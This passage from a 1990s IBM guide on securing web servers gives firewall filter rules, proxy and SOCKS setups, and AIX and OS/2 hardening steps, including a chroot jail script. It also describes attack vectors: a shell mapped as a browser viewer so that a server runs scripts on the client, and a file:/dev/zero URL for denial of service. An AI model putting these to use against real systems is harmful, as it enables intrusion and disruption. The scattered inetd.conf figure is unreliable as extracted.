as both the outer router (between the Internet and the DMZ) and as a Web
server.
# Disable Spoofing of inside addresses from the outside
deny 9.24.104.0 0xffffff00 0 0 all any 0 any 0 non-secure both inbound
# allow outside access to the server on port 80 (www)
permit 0 0 10.0.0.5 0xffffffff tcp ge 1024 eq 80 both route both
permit 10.0.0.5 0xffffffff 0 0 tcp/ack eq 80 ge 1024 both route both
# allow outside access to the server on port 443 (SSL)
permit 0 0 10.0.0.5 0xffffffff tcp ge 1024 eq 443 both route both
permit 10.0.0.5 0xffffffff 0 0 tcp/ack eq 443 ge 1024 both route both
# Allow DNS queries to get through
permit 10.0.0.5 0xffffffff 0 0 udp ge 1024 eq 53 both route both
permit 0 0 10.0.0.5 0xffffffff udp eq 53 ge 1024 both route both
# Allow pings to the server (implies other ICMP messages!!)
permit 0 0 10.0.0.5 0xffffffff icmp any 0 any 0 both both both
permit 10.0.0.5 0xffffffff 0 0 icmp any 0 any 0 both both both
# Allow traceroute to the server (needs ICMP for answers)
permit 0 0 10.0.0.5 0xffffffff udp ge 32768 ge 32768 both both both
# Allow inside access to the Web server for remote maintenance:
permit 9.24.104.0 0xffffff00 192.168.10.3 0xffffffff tcp ge 1024 any 0 secure local inbound
permit 192.168.10.3 0xffffffff 9.24.104.0 0xffffff00 tcp/ack any 0 ge 1024 secure local outbound
permit 192.168.10.3 0xffffffff 9.24.104.0 0xffffff00 tcp eq 20 ge 1024 secure local outbound
# allow syslog traffic to the log host:
permit 192.168.10.3 0xffffffff 9.24.104.0 0xffffff00 udp ge 1024 eq 514 secure local outbound
Figure 54. Filter Rules for Web Server
92
Safe Surfing: How to Build a Secure WWW Connection
7.1.2.2 Filter Rules for the Gateway
Figure 55 shows the rules that should be defined on the machine that is doubling
as both the inner router (between the secure network and the DMZ) and as an
application gateway.
# Disable Spoofing of internal addresses from the outside
deny 9.24.104.0 0xffffff00 0 0 all any 0 any 0 non-secure both inbound
# Allow access from the inside to the server and the gateway
permit 9.24.104.0 0xffffff00 192.168.10.3 0xffffffff tcp ge 1024 any 0 both both both
permit 192.168.10.3 0xffffffff 9.24.104.0 0xffffff00 tcp/ack any 0 ge 1024 both both both
permit 9.24.104.0 0xffffff00 9.24.104.76 0xffffffff tcp ge 1024 any 0 both both both
permit 9.24.104.76 0xffffffff 9.24.104.0 0xffffff00 tcp/ack any 0 ge 1024 both both both
# allow FTP from the inside to the server + router (needed for the FTP-data hack)
permit 192.168.10.3 0xffffffff 9.24.104.0 0xffffff00 tcp eq 20 ge 1024 both both both
permit 9.24.104.76 0xffffffff 9.24.104.0 0xffffff00 tcp eq 20 ge 1024 both both both
# ICMP to the router from the inside
permit 9.24.104.0 0xffffff00 9.24.104.76 0xffffffff icmp any 0 any 0 secure local inbound
permit 9.24.104.76 0xffffffff 9.24.104.0 0xffffff00 icmp any 0 any 0 secure local outbound
# Allow mail from the server+router to the inside
permit 192.168.10.3 0xffffffff 9.24.104.0 0xffffff00 tcp ge 1024 eq 25 both route both
permit 9.24.104.0 0xffffff00 192.168.10.3 0xffffffff tcp/ack eq 25 ge 1024 both route both
permit 9.24.104.76 0xffffffff 9.24.104.0 0xffffff00 tcp ge 1024 eq 25 secure local outbound
permit 9.24.104.0 0xffffff00 9.24.104.76 0xffffffff tcp/ack eq 25 ge 1024 secure local inbound
# allow syslog messages from the Web server to the inside
permit 192.168.10.3 0xffffffff 9.24.104.0 0xffffff00 udp ge 1024 eq 514 both route both
# allow syslog messages from this system to the inside
permit 9.24.104.76 0xffffffff 9.24.104.0 0xffffff00 udp ge 1024 eq 514 secure local outbound
# allow
# could
#permit
#permit
TCP access from the inside for maintenance
be more specific....
9.24.104.0 0xffffff00 9.24.104.76 0xffffffff tcp ge 1024 any 0 secure local both
9.24.104.76 0xffffffff 9.24.104.0 0xffffff00 tcp/ack any 0 ge 1024 secure local both
Figure 55. Filter Rules for Application Gateway
The above setup would need to be modified if a DNS server is run on any of the
machines to allow port 53 TCP access.
7.2 Breaking Sessions at the Firewall
The filter rules listed in the previous sections do an effective job of limiting the
sessions that can be established between the inside network and the outside
networks. However, if some type of sessions are permitted, there is always the
possibility of an ingenious hacker misusing them. It is a good practice to break
the session at the firewall. For one thing it means that you can hide the details
of internal addresses and names, because the systems on the outside can only
see the session as far as the break. Secondly, it means you can create another
barrier that the attacker has to surmount, by requiring authentication at the
firewall.
One of the more common reasons for breaking sessions at the firewall, or within
a DMZ is not directly a security issue. Often TCP/IP networks inside companies
have grown in a haphazard way, meaning that they may not use properly
assigned addresses or subnet schemes. When you come to attach such a
network to the Internet, you are faced with rebuilding it using valid addresses
(which may be further complicated by the fact that the address ranges now
available tend to be small; meaning that the network needs not only to be
re-addressed, but also re-designed). Breaking sessions at the firewall
circumvents these problems, because the only addresses that are exposed are
outside of the firewall and the server addresses in the DMZ.
Chapter 7. Locking the Front Door: Firewall Considerations
93
There are two general techniques for breaking sessions at the firewall:
1. Proxy servers, which are special applications that appear as a server to the
client machine and appear as the client to the server.
2. SOCKS, which performs the same function as a proxy, except that it does it
at the session layer of the network, instead of the application layer.
There are other aspects to this problem, such as relay applications for SMTP
mail and Domain Name Service. These are very important security features, but
they are outside the scope of this book. We recommend you refer to Building a
Firewall with the IBM Internet Connection Secure Network Gateway , SG24-2577
for more complete details.
7.2.1 SOCKS
SOCKS is a standard for a generic proxy . As the name suggests, this does not
care what application is being used (although it only applies to TCP, not UDP).
SOCKS is implemented on the firewall itself, by a dedicated daemon. Clients in
the secure network that wish to use SOCKS connect to a special TCP port on the
firewall, by default port 1080. This connection tells the SOCKS daemon the real
target IP address and port. The daemon then checks that the client is authorized
to connect and, if so, starts the second half of the session to the real target port .
It then proceeds to relay the other messages in the session between the two
session halves. Figure 56 illustrates the configuration.
Figure 56. Connecting a WWW Browser Through SOCKS
One problem with SOCKS is that it is not transparent to the application code.
The client has to be socksified in order to use the function. Most Web browsers
are now available in a socksified version (the SOCKS support may either be
provided by the code itself, or by the underlying TCP/IP protocol stack). From
the user′s point of view, using SOCKS is just a question of defining the address
of the server (for example, in Secure WebExplorer you do this by selecting
Configure and then Servers from the menu bar).
94
Safe Surfing: How to Build a Secure WWW Connection
Having a SOCKS server on the gateway will also change the filter rules needed.
Port 1080 should be explicitly protected at the beginning of the rule set.
7.2.2 Setting Up Proxy Servers
A very good way to set up access to external Web services for inside users is to
use proxy servers. Proxy servers are Web servers that usually run in the inside
net and provide access to the external network (see Figure 57).
Figure 57. Typical Web Proxy Configuration
Proxy servers are often set up for caching as well. This means they will help to
reduce the load on slow external links, because frequently accessed Web pages
are taken from the cache instead of being repeatedly requested from a remote
server. When using proxies, not all protocols are supported. A caching Web
server typically supports http, FTP, Gopher and WAIS. In general a proxy server
should be configured so that secure World Wide Web protocols (such as SSL and
S-HTTP) will pass through without caching (it is not a good idea to have secure
pages sitting in memory).
Browsers connect to the proxy for any Web access so, in the normal case where
the proxy is in the secure network, it is the only system that maintains links
through the firewall. There are various ways in which the proxy server can get
through the firewall:
One way would be to open up the filter rules in the firewall to allow access for
the supported protocols from the proxy server to the outside. This mandates
Chapter 7. Locking the Front Door: Firewall Considerations
95
legal IP addresses on the inside as the server talks directly to the Internet. In
addition there are potential problems with filter rules as soon as FTP is
supported, because it starts a second session, for data transfer, from the outside
host to the inside. This is a tempting loophole for an attacker, which means that
the security requirements on such a proxy server are very high. The server
must be treated as a security-critical component, in fact as an extension to the
firewall.
Another way is to use a socksified Web server as a proxy. This means the proxy
server uses the SOCKS protocol to communicate with the firewall. The traffic
between the server and the secure side of the firewall gateway is wrapped in the
SOCKS protocol. The connection is then broken at the gateway where a SOCKS
daemon will unwrap it and connect to the outside using a conventional HTTP
session. Figure 58 illustrates this configuration.
Figure 58. A Socksified WWW Proxy Server
From a security and maintenance standpoint this is the optimal solution for
normal Web access. The SOCKS protocol is a one way street that cannot be
circumvented, protecting the server very well from the outside. Inside addresses
are hidden as the outside will see only the address of the gateway. The IBM
Internet Connection Secure Server for OS/2 can be configured as a socksified
proxy in this way, but it is not yet an option for AIX. An alternative is to use the
freely available CERN server (See page 143) and compile it with SOCKS support.
A third alternative that is often discussed is to run the proxy server directly on
the gateway host. Although technically very easy, it is not a recommended
setup. Web servers are relatively big programs. The bigger a program, the
higher the chances for potential bugs that might affect the security of the whole
system. As there is no absolute security you can only try to minimize potential
96
Safe Surfing: How to Build a Secure WWW Connection
problems. We recommend you avoid placing large programs like Web servers
on a security critical component such as a firewall.
7.3 Protecting the Client
Web clients need some protection as well, but most of it is really user education.
Web clients can handle many different data types some of which they handle
themselves and others that are handled by additional viewer programs. Any
foreign data type needs to be registered in one form or the other to be handled
correctly.
WebExplorer on OS/2 uses the INI file to specify how certain data types are
handled. WebExplorer on AIX uses /usr/local/lib/mime.types and ∼ /.mime.types
together with /usr/local/lib/mailcap or ∼ /.mailcap in the same way as the
popular freeware program Mosaic. In each case the objective is to set up the
mapping between a data type and the browser applications that handle them.
No matter how the mapping is done, users should be educated not to alter or
add mappings without understanding the implications. For example, it would be
very easy to have a mapping for the data type shell and then have a shell to
execute this data type. That would then allow a server to provide shell scripts
that are executed on the client. For example one could configure /bin/csh as a
viewer for the data type application /x-csh. This would allow the execution of C
shell scripts on the client, assuming it is a UNIX system. Similar things can be
constructed for REXX on OS/2 or even macros for a word processor or a
spreadsheet program.
The danger of this lies in the ease of use that is built into a Web browser. Most
people, when presented with a Web page will click on a link without really
looking at the URLs to see what data type it represents. Therefore it is very
risky to define data types and viewers that will automatically execute code on
the client system when a URL is followed.
Fortunately shells are not among the default viewers set up by typical Web
browsers. But there are more threats hidden in this area. A very popular data
type is PostScript. Browsers will often have support for this data type via
external viewers. Those viewers typically support the full Display PostScript
environment. Display PostScript does have file manipulation commands. Or in
other words, it can happen that one downloads a PostScript file for viewing
which contains commands that will modify a user′s files without the user′ s
authorization. To our knowledge this specific problem exists for all versions of
Display PostScript Support for AIX as well as for the freely available GhostScript
program for all versions prior to 3.33. Even the newer versions of GhostScript
will need the -DSAFER compile time flag to completely disable the execution of
those commands. Older versions of GhostScript have the compile time flag, but
are written in a way that it may be circumvented. (See page 145 on how to get
GhostScript.) When using AIXwindows with XDM logins or the Common Desktop
Environment (CDE) login the problem with the Display PostScript option of
AIXwindows becomes worse because the X window server (and therefore also
Display PostScript) is executed by the root user ID.
The examples described above are the most obvious kinds of attack, trying to
breach the integrity of the browser system. However there are other types of
attack, such as denial of service which are almost as disruptive. Depending on
the data types and viewers used, there are more pitfalls. For example, following
Chapter 7. Locking the Front Door: Firewall Considerations
97
the URL file:/dev/zero can fill up paging/swap space or /tmp very quickly,
depending on the browser and the operating system.
The list of potential problems grows daily because there is so much flexibility in
the mechanisms used on the Web. The most significant development in the area
of extended viewers is the Hot Java browser from Sun Microsystems (now
licensed by many providers of Web software, including IBM). Java is an
object-oriented programming language that is intended to be simpler and more
robust than existing languages. When used in JavaScript applets , Java provides
the ability for a Web server to send programs that are compiled and executed on
the browser. We discuss Java security in more detail in 3.3, “Java” on page 32.
98
Safe Surfing: How to Build a Secure WWW Connection
Chapter 8. Locking the Back Door: Hardening the Underlying System
Web servers do not operate on thin air but on top of an operating system. The
operating system itself needs to be secured and cleaned up as well to have
good overall security. In this chapter we will look at some of the things that you
should consider in this regard. As in previous chapters, the examples are based
on the IBM Internet Connection Secure Server family, but the general approach
applies to any Web server.
Of course, the capabilities of the base operating system affect the kind of
approach to take. A UNIX system has potentially many more functions than, say,
an OS/2 system. This extends to the security capabilities. UNIX has much better
security features, including password controls, file access controls and auditing.
It is therefore very important to make sure that all of these facilities are properly
configured, to deny an attacker any chance of finding a loophole. By contrast,
OS/2 is a much simpler operating system which means that it is much more
important to restrict primary means of access, such as physical access to the
machine.
The following is a high-level list of some items to consider:
 Copyright IBM Corp. 1996
•
The main principle is KISS: Keep It Short and Simple.
•
In general a server should be placed in a secure, locked area. If this is not
possible, the physical machine should be fitted with locks. For example, the
diskette drive on an OS/2 or Windows server could be used to gain access to
the system.
•
A security critical system should only run the minimum number of services
needed.
•
There should be no user IDs configured on the system unless absolutely
necessary.
•
There should be no compiler, assembler or other computer language present
that allows system calls.
•
All code that is executable by accessing the server (CGI scripts) must be
screened for trouble spots.
•
Password aging and content restrictions should be employed where
available. If the password system is not intrinsically secure, no remote
logins should be permitted.
•
Only static IP routing should be used.
•
All available audit functions should be used.
•
All available logging functions should be used.
•
Logs should ideally not be kept on the server itself, but should be transferred
to a log host in real time.
•
Logs should be monitored in real time for trouble.
•
Web-accessible data should not be world writeable or writeable by the group
the server runs under, but writeable by a group or owner ID that is used by
the Web administrators.
•
If possible the server should be run in a change root (chroot) environment
(UNIX only).
99
•
All server-accessible directories should be in a separate file system.
8.1 Securing an AIX Server
AIX is a multiuser, multipurpose operating system. Therefore it offers a wide
variety of services that are not needed when setting up a secure Web server or
a firewall. One should install only a minimal AIX, not the full-blown operating
system. One usually needs only the basic things that are installed automatically
plus the TCP/IP server and client part. The only reason for including the server
part is the TCP/IP tracing tools included there for trouble shooting. Even after
installing only a minimal function AIX, one still needs to do quite a bit of cleanup.
8.1.1 Setting Up a User ID for the Web Server
A standard recommendation for Web servers is to run them under the ″nobody″
ID and group. As ″nobody″ owns nothing on the system all that this ID can do is
to read and write files on which the other permissions allow it. Unfortunately,
this functionality is not only used by the Web server but also by other services.
Therefore those other services could overwrite anything the Web server writes
and vice versa. We suggest setting up an additional ID and a new group
specifically for the Web server.
First create a new group:
mkgroup -A www
Then create a user ID www either with SMIT or using the following command:
mkuser pgrp=www groups=www sugroups=system home=/var/nowhere \
gecos=′ The Web Server′ login=false rlogin=false www
The user ID www cannot be used for logins of any kind. You still need to disable
FTP though, by adding the user ID www to the file /etc/ftpusers (This file might
not exist, in which case you should create it). As the mkuser command will
create a home directory called /var/nowhere, owned by www, you need to
remove all the profiles in there and then change the ownership of it (using the
chown command) to root.system.
If you now set up your Web server to run as www.www by putting:
UserId www
GroupId www
in the /etc/httpd.conf file, it will switch to the www ID during run time. All access
of the server to the system will be done as user www after startup. It is still
started as root though, otherwise it would not be able to bind to port 80 which is
a low port (<1024) and can be bound only by root.
Due to the quirks of the AIX Subsystem Resource Controller (SRC), there are two
httpd daemons started. One is run by root and the other one is run by the www
ID. The one that is run by www is the one that listens on the http and SSL ports
to serve the Web requests. The one run by root is only used to communicate
SRC requests to the server. It does not listen on the http and SSL ports and is
therefore inaccessible from the outside (and as such, the fact that it is running
under root does not pose a risk).
100
Safe Surfing: How to Build a Secure WWW Connection
8.1.2 Removing Unneeded Services
Depending on how much of the AIX operating system you installed, an AIX
system can come with many services enabled by default. Most of them should
be disabled on security-critical systems. Some are started via inetd and are
configured through /etc/inetd.conf. Others are started through /etc/rc.tcpip or
other command files that are triggered by /etc/inittab.
8.1.2.1 /etc/inetd.conf
The minimal inetd.conf file in Figure 59 is usually sufficient. It assumes that
remote maintenance is allowed via FTP and Telnet. This in turn mandates that
the normal IP services are blocked by an additional packet filter. The internal
services are served by inetd directly and are basically harmless. (Of course all
service ports could be used for denial of service attacks). Note that the FTP
daemon has the -l flag added so that it will log all transfers via syslog.
ftp
telnet
echo
discard
chargen
daytime
time
echo
discard
chargen
daytime
time
stream
stream
stream
stream
stream
stream
stream
dgram
dgram
dgram
dgram
dgram
tcp
tcp
tcp
tcp
tcp
tcp
tcp
udp
udp
udp
udp
udp
nowait
nowait
nowait
nowait
nowait
nowait
nowait
wait
wait
wait
wait
wait
root
root
root
root
root
root
root
root
root
root
root
root
/usr/sbin/ftpd
ftpd -l
/usr/sbin/telnetd telnetd
internal
internal
internal
internal
internal
internal
internal
internal
internal
internal
Figure 59. A M i n i m a l /etc/inetd.conf File
8.1.2.2 /etc/rc.tcpip
In addition to the services that run under the inetd daemon, there are a few
daemons that are started by the file /etc/rc.tcpip. Apart from possibly the name
service daemon (named) only the syslogd and sendmail daemons are needed.
The SNMP daemon (snmpd) allows anyone to query the system by default, so it
should be properly configured to allow only your bona fide SNMP manager to
use it to manage the machine. You should allow only read access even to a
valid manager, because the security built into the SNMP protocol is trivial to
circumvent. If you are not using SNMP management you should disable the
SNMP daemon.
8.1.2.3 /etc/inittab
There are a few services in /etc/inittab that are not needed on a secure web
server and should be removed. Figure 60 on page 102, shows a minimal inittab
file.
Chapter 8. Locking the Back Door: Hardening the Underlying System
101
init:2:initdefault:
brc::sysinit:/sbin/rc.boot 3 >/dev/console 2>&1 # Phase 3 of system boot
powerfail::powerfail:/etc/rc.powerfail 2>&1 | alog -tboot > /dev/console # Power Failure Detection
rc:2:wait:/etc/rc 2>&1 | alog -tboot > /dev/console # Multi-User checks
fbcheck:2:wait:/usr/sbin/fbcheck 2>&1 | alog -tboot > /dev/console # run /etc/firstboot
srcmstr:2:respawn:/usr/sbin/srcmstr # System Resource Controller
rctcpip:2:wait:/etc/rc.tcpip > /dev/console 2>&1 # Start TCP/IP daemons
rchttpd:2:wait:/etc/rc.httpd > /dev/console 2>&1 # Start HTTP daemon
cron:2:respawn:/usr/sbin/cron
uprintfd:2:respawn:/usr/sbin/uprintfd
logsymp:2:once:/usr/lib/ras/logsymptom # for system dumps
diagd:2:once:/usr/lpp/diagnostics/bin/diagd >/dev/console 2>&1
cons:0123456789:respawn:/usr/sbin/getty /dev/console
rclocal:2:once:/usr/local/etc/rc.local
Figure 60. A Sample M i n i m a l /etc/inittab File
Note that the printing subsystem (piobe, qdaemon and writesrv) is missing.
Instead there is a new entry, rclocal. The /usr/local/etc/rc.local file is a good
way to do things at system startup time. It will be referred to in Chapter 10,
“Auditing, Logging and Alarms” on page 117 for starting the audit subsystem.
You have to create the rc.local file yourself.
The initab entry is created via the following:
mkitab ″rclocal:2:once:/usr/local/etc/rc.local″
8.1.3 Cleaning Up User IDs
When running a Web server not all user IDs that come with AIX are needed. The
minimum set of IDs needed are the following: root, daemon, bin, adm, nobody
and if you have added it, www. If you delete the uucp IDs then there might be
unowned uucp files in /usr/bin and /etc/uucp which can also be removed.
For all user IDs in the system that are not used for regular logins there should
be a mail alias that transfers the mail to some administrator. Otherwise mail
could pile up accidentally in a mailbox without anyone ever noticing it.
8.1.4 Setting Up Password Rules
Even if you only have a minimum set of user IDs, you should set up the
password rules. AIX 4 uses /etc/security/user to set up default and user specific
rules. Here is an example setup. Modify the default stanza with the following
values:
pwdwarntime = 5 Warning time for password expiration in days.
102
loginretries = 3
Number of invalid log in attempts before an account is
blocked.
histexpire = 26
Lifetime of old passwords in the password history.
histsize = 12
Number of passwords that are stored in the password history
database to prevent immediate recycling of passwords.
maxage = 8
Maximum lifetime for a password in weeks.
maxexpired = 18
Maximum lifetime of an account after a password has
expired.
minalpha = 2
Minimum number of alphabetic characters in a password.
minother = 1
Minimum number of nonalphabetic characters in a password.
minlen = 6
Minimum length of a password.
Safe Surfing: How to Build a Secure WWW Connection
mindiff = 2
Minimum difference between the new and the old password.
maxrepeats = 3
Maximum number of repetitions of a single character in a
password.
The above values are our basic recommendations. You might want to use
stricter rules, but we suggest that you do not weaken them.
8.1.5 Cleaning Up the File System
AIX does not come with a completely clean file system. The above cleanup
operations might delete user IDs that own files on the system. To find all of
those unowned files, use the following command:
find / ( -nouser -o -nogroup ) -print
Another area for concern is files that are world writable . That is, they have
permission definitions that allow any user to update or delete them. There are
some files and directories that by default are world writeable but should not be.
Find them with the following command:
find / -perm -0002 ( -type f -o -type d ) -print
Only /tmp and some directories under /var should be world writeable.
Everything else found by the command here has incorrect permissions.
8.1.6 Configuring the Trusted Computing Base
The Trusted Computing Base (TCB) is an AIX feature that keeps track of file
modifications for critical system files. If you want to work with the TCB, it needs
to be activated when you initially install AIX; there is no way to install it later on.
As shipped, the TCB might not list all the files that should be checked (for
example, the device entries). To update the TCB with the current state of the
devices run the following script:
for f in $(find /dev -print)
do
tcbck -l $f
done
You then need to add any other files that you want to have checked via the TCB
by running tcbck -a. There might be a few inconsistencies already, depending
on the exact update level you are using. Use the following command to
generate a list of the current TCB inconsistencies:
tcbck -n tree > /tmp/tree.out 2>&1
You can then use the tcbck command in the update mode to fix them, or you can
edit the file /etc/security/sysck.cfg.
8.1.7 Restricting the Server Environment
Even if you use the above methods to secure the system, the server daemon still
has access to the whole file system. This means that CGI scripts that are run by
the server also have access to the whole file system. A bug or a CGI
misconfiguration could still cause damage to the server.
One way to prevent this is to run the server daemon with a changed root
directory using the chroot command. By running the server in a chroot jail , you
can restrict the file system access of the server to a specific part of the directory
Chapter 8. Locking the Back Door: Hardening the Underlying System
103
tree. The server (and the CGI programs started by the server) will have only
access to that part of the directory tree that is set up by the chroot command.
The chroot command (based on the chroot system call) switches the file system
root to a named directory before it executes the given command. There is no
way to access the full file system after chroot. If you run for example:
chroot /jail /usr/sbin/httpd
Then the command /jail/usr/sbin/httpd would be run. The httpd process would
have access to a file system that appeared to be rooted in the normal way in the
/ directory. However, the / directory would in reality be /jail because of the
effect of the chroot command.
If you want to restrict the daemon in this way, you have to make sure that all the
resources that it needs are replicated into the restricted file system. As the
httpd daemon is linked with shared libraries, you need to copy those into the jail
file system, indeed, everything the server needs must be there. Note that the
server is not controlled via the SRC in this example. Adding the SRC support in
the chroot environment would be a maintenance hassle that is not worth the
effort.
The script in Figure 61 on page 105 will set up a chroot jail for the httpd
daemon. You then need to set up your server data in the www/pub directory in
the jail (that is, directory /jail/www/pub), and place the server configuration file
in /jail/etc. The configuration file used by the server is the configuration file in
the jail, not the one in /etc.
104
Safe Surfing: How to Build a Secure WWW Connection
#!/usr/bin/ksh
# Script to generate a chrooted environment of a web server
# afx 9/95
#
# assumes the IBM Web server is already installed
# assumes the chrooted environment will be created in the file system $JAIL
# assumes $JAIL exists and is mounted
# assumes httpd is run as www.www
# creates $JAIL/www as the server root directory
# created $JAIL/www/pub as the document root directory
# NLS message texts are ignored, the server will use built in messages
# Server admin scripts will not be copied
JAIL=/jail
UID=www
GID=www
PATH=/usr/bin:/usr/sbin
# create the basic directories
makedir () {
mkdir -p -m 755 $JAIL/$1
chown $2.$3 $JAIL/$1
}
chown root.system $JAIL
chmod 0755 $JAIL
makedir etc root system
makedir usr/bin root system
makedir usr/lib/netsvc root system
makedir usr/sbin root system
makedir www/pub root system
makedir www/cgi-bin root system
makedir www/logs $UID $GID
# set up necessary support files
cat << EOF | while read i
/etc/hosts
/etc/httpd.conf
/etc/protocols
/etc/resolv.conf
/etc/services
/usr/lib/libpthreads.a
/usr/lib/libc_r.a
/usr/lib/libsrc.a
/usr/lib/libc.a
/usr/lib/libc_t.a
/usr/lib/libodm.a
/usr/lib/netsvc/liblocal
/usr/lib/netsvc/libbind
/usr/lib/wwws.o
/usr/lib/wwwss.o
/usr/lib/libs.a
/usr/sbin/httpd
EOF
Figure 61 (Part 1 of 2). Shell Script to Create a chroot Jail for the httpd Daemon
Chapter 8. Locking the Back Door: Hardening the Underlying System
105
do
cp $i $JAIL$i
done
# Setup password and group file
echo ″root:!:0:0::/:/bin/ksh″ > $JAIL/etc/passwd
egrep $UID /etc/passwd >> $JAIL/etc/passwd
echo ″system:!:0:root″ > $JAIL/etc/group
egrep $GID /etc/group >> $JAIL/etc/group
# set up server icons and gimmicks
cp -r /usr/lpp/internet/server_root/icons $JAIL/www/icons
cp /usr/lpp/internet/server_root/cgi-bin/cgiparse $JAIL/www/cgi-bin
cp /usr/lpp/internet/server_root/cgi-bin/cgiutils $JAIL/www/cgi-bin
# copy the server config file and do minimal adaptation.
sed ′ s:usr/lpp/internet/server_root:www:′ < /etc/httpd.conf > $JAIL/etc/httpd.conf
echo
echo
echo
echo
echo
echo
″The jail has been created in $JAIL″
″You now need to adapt $JAIL/etc/httpd.conf and your data directories″
″The server root should be in /www″
″The document root should be in /www/pub″
″Log and pid files should be in /www/logs″
″Start the server with \″chroot $JAIL /usr/sbin/httpd\″″
Figure 61 (Part 2 of 2). Shell Script to Create a chroot Jail for the httpd Daemon
A chroot environment becomes very tricky when it comes to CGI scripts. This is
because a typical script may use many system commands and utilities. For
each tool you copy into the jail you will also need to check which libraries and
run-time tools are needed to make it work. This is not necessarily easy; the
system trace command is sometimes the only way to find out which resources
are needed by a program. The script listed in Figure 61 on page 105 does not
even copy a command shell into the jail, so it would not be able to run any CGI
scripts in its present form.
Simple programs that work only within the confines of the jail can do damage
only within the jail. They could modify the data the server serves or send out
information that is not meant to be released but they cannot access the
underlying system. However, quite often you use CGI programs that open up
other network connections or access databases. Those CGI programs can open
up holes in the jail. Using them in a jail is considerably more secure then using
them outside, but still it weakens the purpose of the jail. You will need to
examine each executable and script that you make available in the jail for
possible exposures of this kind.
106
Safe Surfing: How to Build a Secure WWW Connection
8.2 Securing an OS/2 Server
The more powerful and flexible a platform and operating system is, the more it is
open to attack. Although OS/2 is a powerful PC-based operating system, it is not
open and flexible enough to be easily attacked from the outside.
The basic rules to apply are as follows:
•
Be especially careful about physical security. The easiest way to attack a
PC is to reboot it from diskette.
•
Configure only the minimum services required to have your Web server
running.
You should not start any TCP/IP services unless you really need them. OS/2
passwords for Telnet and FTP user IDs are not kept in an encrypted form, and
they do not have limitations on retries. It is therefore much safer to not use
these applications at all.
If you have to start the Telnet or FTP daemon, make sure to restrict the number
of user IDs and the directories they can access. You can do this by running the
TCP/IP configuration program and selecting Security. Now you can choose a
password for Telnet and add users for FTP as well as define which disks and
directories they can or cannot access.
The user IDs and passwords for these applications are kept, unencrypted, in the
following files:
•
config.sys contains the Telnet password.
•
% E T C % trusers contains FTP users, passwords and directory access list.
•
httpd.cnf contains pointers to password files (these are encrypted).
OS/2 does not have any logging or monitoring facilities that are comparable to
AIX′s audit subsystem or the syslogd daemon.
8.3 Checking Network Security
After having set up the firewall and the server how do you check its security?
There are many ways to do checks, but there is no complete check. If you used
Secured Network Gateway to set up the filters and to guard the Web server itself
then you also have the fwice command. This command allows you to test a
range of TCP and UDP ports. It basically scans the destination system for
accessible ports in a given list. By default, the fwice command uses the file
/etc/services to configure all the portsto be scanned. The hosts to be scanned
are taken out of /etc/hosts. You can substitute your own files on the command
line instead. In contrast to most scanners, the fwice function scans both UDP
and TCP ports.
There are other tools available for scanning on the Internet. You may want to
use strobe (TCP only), ISS (TCP and specific problems) and SATAN (TCP,UDP
and specific problems). Hints on where to get them are in A.5, “Useful Free
Code on the Internet” on page 142.
But there are other ways to assess TCP/IP integrity than just scanning ports. On
AIX systems you can run netstat -af inet. It will tell you about active TCP
Chapter 8. Locking the Back Door: Hardening the Underlying System
107
connections and actively listening servers. On OS/2 the command netstat -s
provides similar output.
Should you find daemons where you do not know which files or sockets they
open or you have connections open where you do not know which daemon
handles them, then use lsof, which is a very useful tool to find out exactly those
things. See A.5, “Useful Free Code on the Internet” on page 142 on how to get
it.
8.4 Checking System Security
If you have followed all of our recommendations on system setup (removing user
IDs and services and restricting the server environment) there should not be too
many additional things to check.
8.4.1 Checking AIX
To check the security of an AIX system we suggest using the TCB for integrity
checks. In addition tools such as Tiger (see A.5.10, “Tiger/TAMU” on page 144)
and COPS (see A.5.2, “COPS” on page 143) should be used to analyze system
security.
8.4.2 Checking OS/2
For OS/2 you should check that the screen-lock password is non-trivial and that
it is configured to activate on system startup. These settings are controlled by
double-clicking with the right mouse button on the screen background.
8.5 More Hints on WWW Security Configuration
Here are a few more points to consider when securing Web servers.
8.5.1 Protecting Web Data
When running a Web server on a multiuser machine such as AIX, the data that
you serve via the httpd daemon should be protected properly on the system just
the same as any other critical data. This means that the files should have mode
644 or, if you use group access control, 664 (rw-r--r-- or rw-rw-r-- respectively in
the ls -l command display). If you need to also protect data from local read
access, then the data should be in the group the Web server is run under and
have mode 640 (rw-r-----). This typically applies to data that is protected via the
Web servers′ password mechanism (as discussed in Chapter 2, “Be Careful Who
You Talk To: HTTP Basic Security” on page 7).
Data should never be writeable by the httpd daemon. If you want to trace all
changes to the data, you might want to audit write access to the data files or run
regular checksums of them.
8.5.2 Merging FTP and HTTP Access
Quite often the requirement to have anonymous FTP and World Wide Web
access on the same server arises. If you do this, make sure that the FTP
anonymous ID cannot write in the directory tree served by the Web server.
108
Safe Surfing: How to Build a Secure WWW Connection
Ideally, the setup for anonymous FTP should not allow any write access at all
and all data accessible by the anonymous user should be owned by an ID other
than anonymous or FTP.
On AIX, check out /usr/samples/tcpip/anon.ftp to create an anonymous FTP
server. By default it will create the anonymous FTP directory /home/ftp. You
will need to modify the script for a different directory. The script does most of
the work, but you need to clean up permissions afterwards:
•
Remove the profile that was generated by mkuser.sys.
•
Change the group of the FTP home directory to system.
•
Remove the write permissions for group and other on the pub directory.
•
Delete the anonymous user ID (ftpd still knows about it as an alias for FTP).
You might also want to enable ftpd logging by adding the -l flag to the ftpd entry
in /etc/inetd.conf. Do not forget to run refresh -s inetd to activate the changed
entry.
8.5.3 CGI Script Locations
With the right Exec statements in the httpd configuration file (see Chapter 2, “Be
Careful Who You Talk To: HTTP Basic Security” on page 7) the CGI scripts may
be located anywhere on the system. You can also set up the server so that it
recognizes files whose names end in *.cgi as CGI scripts.
We strongly suggest you do not do this. It is very hard to keep track of CGI
scripts that are scattered all over the file system. Having them all in one cgi-bin
directory makes it much easier to monitor them. When using AIX for the server,
one can us the audit subsystem to trace write access to them or to the cgi-bin
directory. The methods that are needed to implement this are discussed in
10.1.3, “Configuring the Audit Subsystem” on page 122.
In addition, the CGI scripts should not be accessible in the httpd′s data
directories. This would allow anyone to get the scripts for analysis.
8.5.4 Symbolic Links
The Web server on AIX will follow symbolic file links. Therefore if you have links
pointing to locations outside the server document root the server will be able to
access that data if the AIX permissions allow it. We strongly recommend you do
not do this; use the Pass statements in the httpd configuration file instead. This
makes document locations much easier to track.
The current release of the server will unfortunately not allow symbolic links to be
disabled completely.
8.5.5 User Directories
The AIX server allows users to have their own document directories that are
served via the httpd daemon. If this mechanism is used (via the UserDir
statement in the configuration file), then you should make sure that there is no
